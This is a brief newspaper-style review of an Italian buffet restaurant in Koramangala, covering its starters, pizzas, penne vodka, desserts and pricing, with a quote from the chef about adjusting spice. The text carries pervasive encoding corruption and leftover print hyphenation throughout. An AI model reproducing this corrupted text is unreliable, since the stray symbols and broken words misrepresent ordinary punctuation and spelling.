    Formatted for long eat- ing and drinking sessions, A�Da��Gusto Italia reflects the A�spirit of festivities with A�Italian delicacies from A�freshly baked ciabatta and A�olives to soups, starters, A�pizzas, pasta, mains and A�dessert, all in a buffet.

    Minestrone soup leads a A�line up of starters that includ- ed a fresh salad of tomatoes, olive A�oil, onions, garlic and pesto. The cot- tage cheese with Moroccan spices A�was reminiscent of our local paneer A�tikka but that was apparently inten- tional.

    a�?Indians are used to a higher A�spice level and wea��ve modified the A�food accordingly. After all, authen- tic Italian food is quite bland. No A�point having guests going at it with A�table spices and spoiling the taste. A�Wea��d rather add it ourselves,a�? shares A�chef Ram Mehraulia.

    Fitting feast A�Fried calamari, aubergine caponata A�a�� chopped, fried eggplant and celery A�seasoned with sweetened vinegar A�and capers in a sweet and sour sauce A�and almonds were next and chicken A�chermoulah, another nod to A�Moroccon cuisine, concluded the A�starters and readied us nicely for the A�next course. Do try the quirky cock- tails, all in the grand James Bond A�theme a�� shaken and stirred! If ita��s Italian, therea��s got to be piz- za and pasta. So naturally, a A�Margherita, a quattro formaggio A�and a chicken pepperoni pizza A�appeared at our table and instantly A�vanished a�� a reflection of how good A�it was. The base is typically thin A�with generous toppings on a mildly A�flavoured layer of tomato puree. A�Pasta is made fresh at a live counterA� A�with a choice ofA� arrabiata, pesto and A�alfredo sauces.

    The signature Penne A�Vodka, a mix of arrabiata and cheese A�that blends into a creamy and tangy A�sauce, is certainly worth a try. A�Feeling desserted Therea��s also a good choice of des- serts with wine truffle, chocolate A�brownie, rice fritters with honey A�and gelato all part of the menu. A�Rs 399 upwards. At Koramangala.
